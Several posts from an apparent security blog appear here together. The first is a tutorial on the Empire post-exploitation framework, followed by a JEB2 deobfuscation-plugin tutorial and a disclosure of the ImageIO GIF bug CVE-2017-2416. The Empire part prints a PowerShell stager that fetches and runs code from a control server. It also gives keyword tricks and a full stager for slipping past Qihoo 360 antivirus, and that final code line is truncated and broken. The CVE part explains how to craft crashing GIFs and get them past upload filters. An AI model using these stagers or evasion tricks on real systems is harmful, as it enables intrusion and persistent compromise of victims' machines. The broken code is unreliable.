Testing Empire as post-exploitation framework in domain environment

Testing Empire as post-exploitation framework in domain environment

Due to recent research on Red-Blue Team Operations, I became interested in various post-exploitation framework. Since the widely adoption of powershell which is shipped by default in Windows 7 and Windows 10, it has become a popular stager for pen-testers and red team. The following article will describe one of the popular framework called Empire (https://github.com/EmpireProject/Empire) with 3000+ stars, and how to use it on a typical workstation with AV installed.

Installation

The installation of Empire is quite simple. You can choose the docker approach, or install it on a host instance.

For installation steps on a host instance, follow the commands as below:

git clone https://github.com/EmpireProject/Empire cd Empire && sudo ./setup/install.sh

In a Debian-flavor environment the installation usually contains apt-update and adding some apt-source. So be patient.

The following steps are all based on Ubuntu 16.04.1. Some windows compilation are done on a Windows Server 2016 with Visual Stuido

Running

Go to the install directory of empire and type sudo ./empire to get started.

Alt

Listeners

The currently supported listeners in Empire are

(Empire: listeners) > uselistener
dbx http_com http_hop meterpreter redirector 
http http_foreign http_mapi onedrive 
(Empire: listeners) > uselistener http
(Empire: listeners/http) > ?

Listener Commands
=================
agents Jump to the agents menu.
back Go back a menu.
creds Display/return credentials from the database.
execute Execute the given listener module.
exit Exit Empire.
help Displays the help menu.
info Display listener module options.
launcher Generate an initial launcher for this listener.
listeners Jump to the listeners menu.
main Go back to the main menu.
resource Read and execute a list of Empire commands from a file.
set Set a listener option.
unset Unset a listener option.

(Empire: listeners/http) > info

Name: HTTP[S]
Category: client_server

Authors:
@harmj0y

Description:
Starts a http[s] listener (PowerShell or Python) that uses a
GET/POST approach.

HTTP[S] Options:

Name Required Value Description
---- -------- ------- -----------
SlackToken False Your SlackBot API token to communicate with your Slack instance.
ProxyCreds False default Proxy credentials ([domain\]username:password) to use for request (default, none, or other).
KillDate False Date for the listener to exit (MM/dd/yyyy).
Name True http Name for the listener.
Launcher True powershell -noP -sta -w 1 -enc Launcher string.
DefaultDelay True 5 Agent delay/reach back interval (in seconds).
DefaultLostLimit True 60 Number of missed checkins before exiting
WorkingHours False Hours for the agent to operate (09:00-17:00).
SlackChannel False #general The Slack channel or DM that notifications will be sent to.
DefaultProfile True /admin/get.php,/news.php,/login/ Default communication profile for the agent.
process.php|Mozilla/5.0 (Windows
NT 6.1; WOW64; Trident/7.0;
rv:11.0) like Gecko
Host True http://172.16.3.77:80 Hostname/IP for staging.
CertPath False Certificate path for https listeners.
DefaultJitter True 0.0 Jitter in agent reachback interval (0.0-1.0).
Proxy False default Proxy to use for request (default, none, or other).
UserAgent False default User-agent string to use for the staging request (default, none, or other).
StagingKey True JV+~fgh!GFWZ8=eiEN{[#}&x_XLtHKT7 Staging key for initial agent negotiation.
BindIP True 0.0.0.0 The IP to bind to on the control server.
Port True 80 Port for the listener.
ServerVersion True Microsoft-IIS/7.5 Server header for the control server.
StagerURI False URI for the stager. Must use /download/. Example: /download/stager.php

To maintain stealth against various network traffic monitoring, it is recommended to use http based listeners as it will only appear as normal http traffic.

The required options for http-base listeners are Host, Name and Port

(Empire: listeners/http) > set Name http1
(Empire: listeners/http) > set Port 81
(Empire: listeners/http) > execute
[*] Starting listener 'http1'
[+] Listener successfully started!

For example, a http listener’s traffic may looks like below:


(Empire) > listeners

[*] Active listeners:

Name Module Host Delay/Jitter KillDate
---- ------ ---- ------------ --------
http http http://172.16.x.x:80 5/0.0

Stagers

After we created a listener, we need something to wrap the connection, named stager. Empire provides different stagers for different platform.

The simplest stager is a direct powershell command on Windows:

(Empire: listeners) > launcher powershell http
powershell -noP -sta -w 1 -enc SQBmACgAJABQAFMAVgBFAHIAUwBJAE8AbgBUAGEAYgBMAGUALgBQAFMAVgBlAFIAUwBpAG8ATgAuAE0AYQBqAG8AUgAgAC0AZwBlACAAMwApAHsAJABHAFAARgA9AFsAcgBlAEYAXQAuAEEAcwBTAGUAbQBiAGwAeQAuAEcAZQB0AFQAeQBwAGUAKAAnAFMAeQBzAHQAZQBtAC4ATQBhAG4AYQBnAGUAbQBlA(omitted)

Which is the core of all other payloads. You can directly paste it in a command prompt to test it out if you’re curious. On other platforms, similar logic is implemented with Python.

(Empire: listeners) > usestager 
multi/bash osx/dylib windows/backdoorLnkMacro windows/launcher_sct
multi/launcher osx/jar windows/bunny windows/launcher_vbs
multi/macro osx/launcher windows/csharp_exe windows/launcher_xml
multi/pyinstaller osx/macho windows/dll windows/macro
multi/war osx/macro windows/ducky windows/macroless_msword
osx/applescript osx/pkg windows/hta windows/shellcode
osx/application osx/safari_launcher windows/launcher_bat windows/teensy
osx/ducky osx/teensy windows/launcher_lnk 

Empire currently supports stagers listed above. You can test different windows stagers. When you choose a stager, use options to fill in the required attribute. Example goes below:

(Empire: listeners) > usestager multi/pyinstaller
(Empire: stager/multi/pyinstaller) > options

Name: pyInstaller Launcher

Description:
Generates an ELF binary payload launcher for
Empire using pyInstaller.

Options:

Name Required Value Description
---- -------- ------- -----------
Language True python Language of the stager to generate.
SafeChecks True True Switch. Checks for LittleSnitch or a
SandBox, exit the staging process if
true. Defaults to True.
Base64 True False Switch. Base64 encode the output.
Defaults to False.
Listener True Listener to generate stager for.
UserAgent False default User-agent string to use for the staging
request (default, none, or other).
BinaryFile True /tmp/empire File to output launcher to.

(Empire: stager/multi/pyinstaller) > set Listener http1
(Empire: stager/multi/pyinstaller) > execute

Sample payload analysis

Let’s now have a brief view on the launcher metasploit script Empire generates.

The first IF script block is a trick to disable powershell logging to bypass Windows Defenders analysis, which is quite popular abroad. I will not elaborate on this here and you can refer to citation documents. Windows defender employs a per-statement detection approach, while some domestic AVs will step further to block powershell directly if certain keywords are found.

[SYsTem.NET.SErvIcePOInTMANAgER]::EXPecT100CONtiNuE=0;
$WC=NEW-OBjECT SYstem.NeT.WEBCliENt;
$u='Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko'; 
$WC.HeAdErS.Add('User-Agent',$u); 
$WC.PRoxY=[SYStem.NEt.WEbREqUEsT]::DEfaulTWEBPrOxY;
$WC.ProxY.CreDEnTials = [SySTEm.NET.CreDenTIalCache]::DeFAUltNETWOrkCReDentIALs;
$Script:Proxy = $wc.Proxy;
$K= [SYStEm.TeXT.ENCodiNG]::ASCII.GEtBytES('JV+~fgh!GFWZ8=eiEN{[#}&x_XLtHKT7');
$R={
$D,$K=$ArgS;
$S=0..255; 
0..255|%{$J=($J+$S[$_]+$K[$_%$K.CoUnt])%256;
$S[$_],$S[$J]=$S[$J],$S[$_]};
$D|%{
$I=($I+1)%256; 
$H=($H+$S[$I])%256; 
$S[$I],$S[$H]=$S[$H],$S[$I]; 
$_-bXoR$S[($S[$I]+$S[$H])%256]
} };
$ser='http://172.16.x.x:80';$t='/news.php';$Wc.HEaDERs.ADd('Cookie','session=4L4ZezFDPx');

$dAta=$WC.DowNlOaDDaATa($sEr+$T);$IV=$dATA[0..3]; 
$DATA=$data[4..$DAtA.LeNgTh];
-joIN[ChAr[]](& $R $datA ($IV+$K))|IEX"

The followed block is the functional block. First, the script tries to establish a HTTP connection to control server. An IV is retrieved from response data (first four bytes). A hardcoded key will later be used to decrypt the function body. Notice the block defines a variable $R which kinda like lambda function. At the last line, $data and $IV+$K is passed into the lambda acting as $D, $K . The decryption result char array is joined and passed to IEX , i.e. Invoke-Expression

Sample Modules

Empire comes with quite some useful modules, in which bounded mimikatz module can be used to extract password and hash tokens, and privilege escalation modules can be used to elevate privilege to local admin or even domain admin.

AV bypass

Qihoo 360

When you directly paste the payload into cmd, it easily get blocked by Qihxx, indicating "powershell.exe is trying to execute". Besides process monitoring, I believe 360 also use script keyword detection to reduce false positives. However, as powershell is a very flexible language, it’s not easy to filter all malicious requests.

By binary search we deduced the keywords are

  • -enc command line in powershell arguments. E.g, powershell -enc aaa will be blocked by 360.
  • downloadData in powershell script will be detected and blocked by 360.
  • A statement is not permitted to have two or more plus signs. E.g. $a+$b;$b+$c will be blocked by 360.

All these methods have some ways to bypass.

  • For the first condition requirement, you can just simple drop the enc command argument
  • For the second requirement, note that we can use string as method node in powershell. I.e. $c="downl"+"oadData";$a.$c.invoke($bla)
  • For the third requirement, we can simply use $a-(-$b);$b-(-$c)

Appendix

Full powershell code to bypass 360

"[SYsTem.NET.SErvIcePOInTMANAgER]::EXPecT100CONtiNuE=0;$WC=NEW-OBjECT SYstem.NeT.WEBCliENt;$u='Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0)
like Gecko';$WC.HeAdErS.Add('User-Agent',$u);$WC.PRoxY= [SYStem.NEt.WEbREqUEsT]::DEfaulTWEBPrOxY;$WC.ProxY.CreDEnTials = [SySTEm.NET.CreDenTIalCache]::DeFAUltNETWOrkCReDentIALs;$Script:Proxy = $wc.Proxy;$K= [SYStEm.TeXT.ENCodiNG]::ASCII.GEtBytES('JV+~fgh!GFWZ8=eiEN{[#}&x_XLtHKT7');$R= {$D,$K=$ArgS;$S=0..255;0..255|%{$J=($J-(-$S[$_])- (-$K[$_%$K.CoUnt]))%256;$S[$_],$S[$J]=$S[$J],$S[$_]};$D|%{$I=($I+1)%256;$H= ($H+$S[$I])%256;$S[$I],$S[$H]=$S[$H],$S[$I];$_- bXoR$S[($S[$I]+$S[$H])%256]}};$ser='http://172.16.3.77:80';$t='/news.php';$Wc.HEaDERs.AD joIN[ChAr[]](& $R $datA ($IV+$K))|IEX"

JEB2插件教程之一

JEB2发布有段时间了,相比于JEB1来说功能强大了很多,但是API也发生了巨大的变化,不仅是定义上也包括架构上,这给我们移植或者是新编写插件带来了一定不便, 目前也还没看到详细一些的API分析教程。本文以一个具体的应用分析为例,解释如何编写一个JEB2中处理混淆应用的插件,来实现自动识别和重命名。

案例

我们的样例APK是一个采用了比较剑走偏锋混淆的东西,其中绝大部分类名、函数名、field名都被替换成了包含lIi的字符串,如下截图所示:

obfuscated1 obfuscated2

这种给人工分析时追踪函数调用带来了不便,因为这些字符串字母长的都比较像,所以我们需要写一个JEB脚本来自动化重命名这些item。我们的逻辑如下:

  • 对于类:递归寻找它的父类和实现的接口。如果父类和接口包含了有意义的名字:例如SDK类Activity、不能混淆的类名MainActivity,以此为基础进行重命名
  • 对于Field:根据该Field的类型,重命名其名字
  • 对于函数:根据该函数的参数类型,重命名其名字

JEB2的API架构

由于JEB2试图成为像IDA那样的universal disassembler,其架构多了很多包装层。对于APK分析来说,关键的部分关系如下所示:

IProjectUnit -> ICodeUnit -> IJavaSourceUnit

IProjectUnit代表了整个workspace,一般我们只会使用project[0]

>>> engctx.getProjects()
[Project:{/xxx/xxx.apk.jdb2}]

ICodeUnit则代表了一个project中所有的可解析部分,如下面我们提到的,因为JEB2为各种架构都提供了统一包装层,ICodeUnit不再仅仅是dex或者jar,而还会包括了libraries中的各种native Library。

>>> units = RuntimeProjectUtil.findUnitsByType(prj, ICodeUnit, False)
>>> map(lambda x: print(x.name), units)
[u'Bytecode', u'arm64 image', u'arm image', u'arm image', u'mips image', u'x86 image', u'x86_64 image']

其中Bytecode项是对应的dex体. 其对应的ICodeUnit代表了整个dex, 已经提供了基本的类型信息,例如Class, Type, Method, Field, Package 使用者可以通过ICodeUnit.getClass/getMethod/getField获取到对应的ICodeClass/ICodeMethod/ICodeField. 但是这个层级的unit并没有提供class hierchy信息和具体的源代码AST信息,故我们还需要IJavaSourceUnit.

IJavaSourceUnit代表的是执行过反编译之后生成的Java源代码体,提供了更加丰富和细节的Java代码信息供使用. 其对应的AST元素为IJavaClass/IJavaMethod等等. 通过decompiler.decompile(icodeclass.getAddress())获取IJavaSourceUnit, 通过IJavaSourceUnit.getClassElement获取IJavaClass.

需要强调的是, ICodeUnit对应的是整个dex, 而IJavaSourceUnit对应的是单个反编译出的类.

自订操作

在JEB2中,用户操作(自定义操作)被统一包装在ActionContext类之下,类似于transaction的形势.API使用者提交各种ActionContext,并检查返回值是否成功.一个典型的重命名操作如下:

>>> actCntx = ActionContext(self.targetUnit, Actions.RENAME, clz.getItemId(), clz.getAddress())
    actData = ActionRenameData()
    actData.setNewName(newName)
    if codeUnit.prepareExecution(actCntx, actData):
        codeUnit.executeAction(actCntx, actData)

值的注意的是,这里的clz对象均为ICodeUnit调用getClass所查询出的ICodeClass类,而不是IJavaSourceUnit对应的IJavaClass. ActionContext作用的对象也是代表整个dex的ICodeUnit.

除了重命名操作之外, ActionContext还包括了COMMENT, CONVERT, CREATE_PACKAGE, DELETE, MOVE_TO_PACKAGE, QUERY_OVERRIDES, QUERY_TYPE_HIER, QUERY_XREFS, RENAME等操作, 其实就是我们在UI中右键所能执行的操作. 读者可能要问, 像QUEYR_TYPE_HIER这种操作, 通过IJavaSource解析AST不是也可以做? 我认为确实是这样, 这里可能还是为了给不同语言提供一个统一的抽象接口. 当然QUERY_XREFS顾名思义是获取到对应的引用, 这方便我们做一些callgraph的查询.

案例解析

如文章开头所示, 我们的目的是根据被混淆item的基类信息和类型信息/参数信息对其重命名. 主要逻辑如下:

for clz in codeunit.getClasses():
    if isObfuscated(clz):
        name = determineNameFromHierchy(clz) --->1
        rename(clz, name)
for field in codeUnit.getFields():
    if isObfuscated(field):
        name = determineNameByFieldType(field)
        rename(field, name)
for mtd in codeUnit.getMethods():
    if isObfuscated(mtd):
        name = determineNameByArgsType(field)
        rename(field, name)

例如, class IiIiIiIi是继承于class iIiIiIiI, 而iIiIiIiI又继承于Activity/实现了onClickListener, 那么我们就可以使用Activity/onClickListener作为基准重命名两个被混淆的类. 这里的关键在于一个递归获取基类的函数, 如下所示:

'''
clzElement is ICodeClass retrieved from ICodeUnit.getClass()
'''
def tryDetermineGodeName(self, clzElement):
    javaunit = self.decomp.decompile(clzElement.getAddress())
    clzElement = javaunit.getClassElement()
    #now clzElement is a IJavaClass
    if not isFuckingName(clzElement.getName()):
    #this is a non-obfuscated name, just return it
    return clzElement.getName()
    ssupers = clzElement.getImplementedInterfaces()
    supers = []
    supers.extend(ssupers)
    # do not directly append on returned list!
    superSig = clzElement.getSupertype().getSignature()
    supers.append(clzElement.getSupertype())
    for superItem in supers:
    sig = superItem.getSignature()
    if sig == "Ljava/lang/Object;":
        #extend from java/lang/Object gives us zero info
        #so try next
        continue
    if not isFuckingName(sig):
        #return first non-obfuscated name
        return sig
    resolvedType = self.targetUnit.getClass(sig)
    if resolvedType:
        #this is a concret class
        guessedName = self.tryDetermineGoodName(resolvedType)
        if guessedName:
        return guessedName
    else:
        #this is a SDK class
        return sig
    #cannot determine name from its supers, return None
    return None

相对来讲, method和field的重命名就简单了很多, 如附代码所示, 在此不再赘述.

这里还有一个小细节, 因为需要操作的类比较多, 我们将插件定义为后台运行, 这样可以不阻塞UI, 同时获得更好的log效果.

重命名后的效果如下:

deobfuscated 可以看到我们恢复出了较多可读信息. 完整代码: https://gist.github.com/flankerhqd/ca92b42f1f796763e5d1f8cd73247a30

总结

JEB2的API相对于JEB1组织层次更多, 也就没那么直观. 但有了初步了解之后, 也可以很快掌握使用方法. 测试版本: JEB2 2.3.4

Ref:

  1. http://blog.csdn.net/weixin_37556843/article/details/66476295
  2. https://www.pnfsoftware.com/jeb2/apidoc/reference/packages.html
  3. https://groups.google.com/forum/#!topic/jeb-decompiler

CVE-2017-2416 GIF表情引发的远程代码执行

ImageIO
适用于:iPhone 5 及更新机型、iPad 第 4 代及更新机型、iPod touch 第 6 代及更新机型
影响:处理恶意制作的图像可能会导致任意代码执行
说明:内存损坏问题已通过改进输入验证得到解决。
CVE-2017-2416:腾讯科恩实验室的 @flanker_hqd

(For English version see https://blog.flanker017.me/cve-2017-2416-gif-remote-exec/)

Abstract

前段时间偶然发现了一个ImageIO.framework中的图像解析漏洞,通过发送这个恶意图片,可以在任何有图片显示功能的应用中直接触发该漏洞,特别是各种IM应用(例如iMessage, Telegram, Slack, iMessage和国产流行IM,以及邮件应用例如Mail, Outlook, Inbox, Gmail,还有一些想做IM的金融应用例如alipay等),导致应用崩溃。在精心布置的内存布局下还有远程代码执行的可能。

让问题变得更蛋疼的是,很多客户端通常会在启动的时候再去尝试恢复加载之前的记录,也包括图片,这导致每次启动的时候该漏洞都会被触发,自动地成为了一个可持续的漏洞 – -b 例如iMessage和Mail即是如此。通过iMessage给一个没有升级到10.12.4的人发送攻击图片,其iMessage就再也打不开了。

DEMO videos

第一个视频展示了发送一条恶意imessage就导致对方崩溃的过程

然后被攻击的设备就再也打不开imessage了

Crash trace

* thread #1: tid = 0x17570, 0x00007fff9557f1ab ImageIO`IIOReadPlugin::IIOReadPlugin(CGImagePlus*, unsigned int, unsigned int, long long, unsigned char) + 67, queue = 'com.apple.main-thread', stop reason = EXC_BAD_ACCESS (code=EXC_I386_GPFLT)
    frame #0: 0x00007fff9557f1ab ImageIO`IIOReadPlugin::IIOReadPlugin(CGImagePlus*, unsigned int, unsigned int, long long, unsigned char) + 67
ImageIO`IIOReadPlugin::IIOReadPlugin:
->  0x7fff9557f1ab <+67>: mov    al, byte ptr [rdi + 0x40]
    0x7fff9557f1ae <+70>: mov    qword ptr [rbx + 0x20], rdi
    0x7fff9557f1b2 <+74>: mov    byte ptr [rbx + 0xc8], al
    0x7fff9557f1b8 <+80>: xor    eax, eax Thread 0 Crashed:: Dispatch queue: com.apple.main-thread
0   com.apple.ImageIO.framework        0x00007fffa144d1ab IIOReadPlugin::IIOReadPlugin(CGImagePlus*, unsigned int, unsigned int, long long, unsigned char) + 67
1   com.apple.ImageIO.framework        0x00007fffa14b8c93 GIFReadPlugin::InitProc(CGImagePlugin*, unsigned long, unsigned long) + 59
2   com.apple.ImageIO.framework        0x00007fffa14177da IIOImageSource::makeImagePlus(unsigned long, __CFDictionary const*) + 252
3   com.apple.ImageIO.framework        0x00007fffa141918b IIOImageSource::getPropertiesAtIndexInternal(unsigned long, __CFDictionary const*) + 57
4   com.apple.ImageIO.framework        0x00007fffa141911c IIOImageSource::copyPropertiesAtIndex(unsigned long, __CFDictionary const*) + 98
5   com.apple.ImageIO.framework        0x00007fffa13f03ca CGImageSourceCopyPropertiesAtIndex + 181
6   com.apple.AppKit                   0x00007fff9cfdbcae +[NSBitmapImageRep _imagesWithData:hfsFileType:extension:zone:expandImageContentNow:includeAllReps:] + 543
7   com.apple.AppKit                   0x00007fff9cfdba68 +[NSBitmapImageRep _imageRepsWithData:hfsFileType:extension:expandImageContentNow:] + 93
8   com.apple.AppKit                   0x00007fff9d4bf08e -[NSImage _initWithData:fileType:hfsType:] + 479

在苹果平台上,基本所有的图像解析功能最后都会调用[NSImage _initWithData:fileType:hfsType:], 随后IIOImageSource将图像的解析根据图像头特征分配到对应的plugin中。注意这里并不是基于文件扩展名做的判断,所以后续我们可以通过这个特性绕过过滤实现利用。

漏洞样例图片

如果把它拖动到任意macos/iOS app中的时候崩溃了,那么你的系统受该漏洞影响,赶快升级吧。 测试样例文件下载:Sample PNG Sample GIF 仅供自测使用,请勿用于非法用途例如发送给他人。

漏洞分析

漏洞的一个源头在GIFReadPlugin::init函数中,观察如下反汇编代码:

  v32 = (signed __int16)width * (signed __int64)height;
  if ( v32 > filesize * 1100 * v29 )
  {
    LOBYTE(aspectbyte) = 0;
    v15 = 0LL;
    if ( this->gapC0[8] )
    {
      LOBYTE(aspectbyte) = 0;
      LogError(
        "init",
        498,
        "malformed GIF file (%d x %d) - [canvasSize: %ld  fileSize: %ld   ratio: %d]  \n",
        (unsigned int)(signed __int16)width,
        (unsigned int)(height),    // width >> 16 is height
        (signed __int16)width * (signed __int64)SHIWORD(width),
        filesize,
        v32 / filesize);
      v15 = 0LL;
    }
    goto LABEL_71;
  }
__text:00000000000CC51F                 movsx   rax, r9w
__text:00000000000CC523                 mov     ecx, r9d
__text:00000000000CC526                 shr     ecx, 10h
__text:00000000000CC529                 movsx   rbx, cx
__text:00000000000CC52D                 imul    rbx, rax
__text:00000000000CC531                 imul    rdx, r12, 44Ch
__text:00000000000CC538                 mov     rax, rdx
__text:00000000000CC53B                 imul    rax, rsi
__text:00000000000CC53F                 cmp     rbx, rax

一个攻击者可以构造负数的高度和长度,bypass掉对filesize的比较,造成后续内存越界访问。一般来讲攻击者可以通过手动构造图片输入流/hook进行发送,或者通过app服务自身提供的web服务来进行发送。前面提到过ImageIO解析图片的时候并不是通过判断扩展名来进行的,通过这个特性我们可以同样bypass一些web图片上传界面的过滤,将恶意图片成功发送到对方设备上,粗发漏洞。

相对来讲稍微令人诧异的是苹果的修复。补丁并没有打在size比较这里,而是打在了IIOReadPlugin这里。在补丁之前,IIOReadPlugin的关键代码如下所示:

bool __fastcall IIOReadPlugin::IIOReadPlugin(IIOReadPlugin *a1, __int64 a2, int a3, int a4, __int64 a5, unsigned __int8 a6)
{
    unsigned __int8 v6; // r14@1
    IIOReadPlugin *this; // rbx@1
    __int64 v8; // rax@1
    __int64 sessionwrap; // rdi@1
    IIOImageReadSession *session; // rax@2
    IIOImageRead *v11; // rdi@2
    __int64 v12; // rax@2
    __int64 *v13; // rcx@5
    __int64 v14; // rdx@5
    bool result; // al@5
    v6 = a6;
    this = a1;
    a1->vt = (__int64)off_1659D0;
    a1->field_8 = a2;
    v8 = *(_QWORD *)(a2 + 24);
    a1->field_10 = v8;
    a1->field_38 = a3;
    a1->field_3c = a4;
    a1->field_30 = a5;
    sessionwrap = *(_QWORD *)(v8 + 24);
    if ( sessionwrap )
    {
        session = (IIOImageReadSession *)CGImageReadSessionGetSession(sessionwrap); //session is invalid
        this->session = session;
        v11 = (IIOImageRead *)session->imageread; //oob happens here and lead to crash
        LOBYTE(session) = v11->field_40;
        this->field_20 = (__int64)v11;
        this->field_c8 = (char)session;
        v12 = 0LL;
        if ( v11 )
            v12 = IIOImageRead::getSize(v11);
    }
    else
    {
        this->field_20 = 0LL;
        this->session = 0LL;
        this->field_c8 = 1;
        v12 = 0LL;
    }

在10.12.4中,if分支语句变成了如下所示:

  a1->field_8 = cgimgplus;
  imageplus = CGImagePlusGetIPlus(cgimgplus);
  a1->field_10 = imageplus;
  a1->field_38 = v9;
  a1->field_3c = v8;
  a1->field_30 = v7;
  v12 = *(_QWORD *)(imageplus + 32);
  a1->field_18 = v12;
  imageread = *(IIOImageRead **)(v12 + 32);
  if ( imageread )
  {
    v10->field_c8 = *((_BYTE *)imageread + 64);
    v10->field_20 = (__int64)imageread;
    v14 = IIOImageRead::getSize(imageread);
  }
  else
  {
    v10->field_c8 = 0;
    v10->field_20 = 0LL;
    v14 = 0LL;
  }

IIOImageReadSession的使用在这里被移除了。这是否从根源上解决了问题?让我们拭目以待。

对开发者和用户的建议

对于想自行防御这个问题的开发者来说(毕竟有很多用户没有升级到最新版,锅还是会被他们扣在开发者头上),我建议在图片显示前先自行检查下GIF宽度和高度。

对于终端用户来讲,当然升级系统是最好的办法了。

Timeline

  • 2017.1.10 Initial discovery
  • 2017.1.16 Report to Apple
  • 2017.1.24 Apple responds on they are working on a fix
  • 2017.3.23 CVE-2017-2416 assigned
  • 2017.3.28 Advisory published at https://support.apple.com/zh-cn/HT207617
  • 2017.4.6 Public disclosure

CVE-2017-2416 Remote code execution triggered by malformed GIF in ImageIO framework, affecting most iOS/macOS apps

CVE-2017-2416 Remote code execution triggered by malformed GIF in ImageIO framework, affecting most iOS/macOS apps

ImageIO Available for: iPhone 5 and later, iPad 4th generation and later, iPod touch 6th generation and later

Impact: Processing a maliciously crafted image may lead to arbitrary code execution

Description: A memory corruption issue was addressed through improved input validation.

CVE-2017-2416: flanker_hqd of KeenLab, Tencent

Abstract

(For Chinese version of this writeup see https://blog.flanker017.me/cve-2017-2416-gif-rce-chn/)

Recently I’ve switched my main research focus back from Apple stuff to Android and browsers. While I was auditing a custom image parsing library written by some ppls, I transferred the test case image manipulated by 010editor via a popular IM messenger, and all of a sudden, the app crashed. I investigated the crash and found it is a issue in ImageIO library, and can be automatically triggered in all kinds of iOS/macOS apps that receives GIF images, especially the ones for instant messaging, such as Signal, Telegram, Slack, iMessage etc and Email clients such as Mail, Outlook, Inbox, Gmail, etc and even financial apps that want to be an IM such as Alipay. All these apps will crash on receiving the malicious GIF.

I haven’t test Twitter, but should you find a way to post the malformed GIF online (which I think can be done by manipulated the post stream to bypass the frontend filtering, but I was too busy to try that), the client should also crash as well.

What make things worse is that many clients will automatically reload and reparse the image on open, triggering the vulnerability again and again, lead to infinite loop and eliminating the need for attacker to persistent – -b

DEMO video1

The first video demonstrates receiving malformed gif file via iMessage lead to crash

DEMO video2

the second video demonstrates persistence (user cannot open iMessage anymore…)

Crash trace

* thread #1: tid = 0x17570, 0x00007fff9557f1ab ImageIO`IIOReadPlugin::IIOReadPlugin(CGImagePlus*, unsigned int, unsigned int, long long, unsigned char) + 67, queue = 'com.apple.main-thread', stop reason = EXC_BAD_ACCESS (code=EXC_I386_GPFLT)
    frame #0: 0x00007fff9557f1ab ImageIO`IIOReadPlugin::IIOReadPlugin(CGImagePlus*, unsigned int, unsigned int, long long, unsigned char) + 67
ImageIO`IIOReadPlugin::IIOReadPlugin:
->  0x7fff9557f1ab <+67>: mov    al, byte ptr [rdi + 0x40]
    0x7fff9557f1ae <+70>: mov    qword ptr [rbx + 0x20], rdi
    0x7fff9557f1b2 <+74>: mov    byte ptr [rbx + 0xc8], al
    0x7fff9557f1b8 <+80>: xor    eax, eax
Thread 0 Crashed:: Dispatch queue: com.apple.main-thread
0   com.apple.ImageIO.framework        0x00007fffa144d1ab IIOReadPlugin::IIOReadPlugin(CGImagePlus*, unsigned int, unsigned int, long long, unsigned char) + 67
1   com.apple.ImageIO.framework        0x00007fffa14b8c93 GIFReadPlugin::InitProc(CGImagePlugin*, unsigned long, unsigned long) + 59
2   com.apple.ImageIO.framework        0x00007fffa14177da IIOImageSource::makeImagePlus(unsigned long, __CFDictionary const*) + 252
3   com.apple.ImageIO.framework        0x00007fffa141918b IIOImageSource::getPropertiesAtIndexInternal(unsigned long, __CFDictionary const*) + 57
4   com.apple.ImageIO.framework        0x00007fffa141911c IIOImageSource::copyPropertiesAtIndex(unsigned long, __CFDictionary const*) + 98
5   com.apple.ImageIO.framework        0x00007fffa13f03ca CGImageSourceCopyPropertiesAtIndex + 181
6   com.apple.AppKit                   0x00007fff9cfdbcae +[NSBitmapImageRep _imagesWithData:hfsFileType:extension:zone:expandImageContentNow:includeAllReps:] + 543
7   com.apple.AppKit                   0x00007fff9cfdba68 +[NSBitmapImageRep _imageRepsWithData:hfsFileType:extension:expandImageContentNow:] + 93
8   com.apple.AppKit                   0x00007fff9d4bf08e -[NSImage _initWithData:fileType:hfsType:] + 479

Almost all image related functions on Apple platform calls down to [NSImage _initWithData:fileType:hfsType:], and IIOImageSource dispatches image parsing to corresponding plugin based on signature detection (note: not based on file extension). This feature will be useful afterwards.

Sample file to test if you’re vulnerable

Test image sample:

Sample PNG Sample GIF

Grab an image file and change the width/height field to both negative short whose unsigned form value larger than 0xff00.

Drag it into /send to any macos/iOS application and if it crashes, you’re vulnerable.

Analysis

The root cause seems to be at GIFReadPlugin::init function, in the following decompiled snippet:

  v32 = (signed __int16)width * (signed __int64)height;
  if ( v32 > filesize * 1100 * v29 )
  {
    LOBYTE(aspectbyte) = 0;
    v15 = 0LL;
    if ( this->gapC0[8] )
    {
      LOBYTE(aspectbyte) = 0;
      LogError(
        "init",
        498,
        "malformed GIF file (%d x %d) - [canvasSize: %ld  fileSize: %ld   ratio: %d]  \n",
        (unsigned int)(signed __int16)width,
        (unsigned int)(height),    // width >> 16 is height
        (signed __int16)width * (signed __int64)SHIWORD(width),
        filesize,
        v32 / filesize);
      v15 = 0LL;
    }
    goto LABEL_71;
  }
__text:00000000000CC51F                 movsx   rax, r9w
__text:00000000000CC523                 mov     ecx, r9d
__text:00000000000CC526                 shr     ecx, 10h
__text:00000000000CC529                 movsx   rbx, cx
__text:00000000000CC52D                 imul    rbx, rax
__text:00000000000CC531                 imul    rdx, r12, 44Ch
__text:00000000000CC538                 mov     rax, rdx
__text:00000000000CC53B                 imul    rax, rsi
__text:00000000000CC53F                 cmp     rbx, rax

An attacker can craft an image of negative height and weight, thus bypassing the check comparing to file size, lead to following out-of-bound. As I have mentioned above, the dispatching is based on file signature rather than file extension. I noticed some applications’ web interfaces have check on the size of GIF images, preventing me from spreading this POC to mobile apps. However they do not have check on PNG extension, allowing me to upload the malformed GIF image in PNG extension, bypassing the check and crashes whoever receives it.

While this does make sense, after Apple releases the fix I checked the new ImageIO binary and found the fix actually goes another way. Recall the crash happens in IIOReadPlugin::IIOReadPlugin, in the following pseudo code at 10.11.2/3:

bool __fastcall IIOReadPlugin::IIOReadPlugin(IIOReadPlugin *a1, __int64 a2, int a3, int a4, __int64 a5, unsigned __int8 a6)
{
    unsigned __int8 v6; // r14@1
    IIOReadPlugin *this; // rbx@1
    __int64 v8; // rax@1
    __int64 sessionwrap; // rdi@1
    IIOImageReadSession *session; // rax@2
    IIOImageRead *v11; // rdi@2
    __int64 v12; // rax@2
    __int64 *v13; // rcx@5
    __int64 v14; // rdx@5
    bool result; // al@5
    v6 = a6;
    this = a1;
    a1->vt = (__int64)off_1659D0;
    a1->field_8 = a2;
    v8 = *(_QWORD *)(a2 + 24);
    a1->field_10 = v8;
    a1->field_38 = a3;
    a1->field_3c = a4;
    a1->field_30 = a5;
    sessionwrap = *(_QWORD *)(v8 + 24);
    if ( sessionwrap )
    {
        session = (IIOImageReadSession *)CGImageReadSessionGetSession(sessionwrap); //session is invalid
        this->session = session;
        v11 = (IIOImageRead *)session->imageread; //oob happens here and lead to crash
        LOBYTE(session) = v11->field_40;
        this->field_20 = (__int64)v11;
        this->field_c8 = (char)session;
        v12 = 0LL;
        if ( v11 )
            v12 = IIOImageRead::getSize(v11);
    }
    else
    {
        this->field_20 = 0LL;
        this->session = 0LL;
        this->field_c8 = 1;
        v12 = 0LL;
    }
 And now apple changes the if-block in 10.12.4:
  a1->field_8 = cgimgplus;
  imageplus = CGImagePlusGetIPlus(cgimgplus);
  a1->field_10 = imageplus;
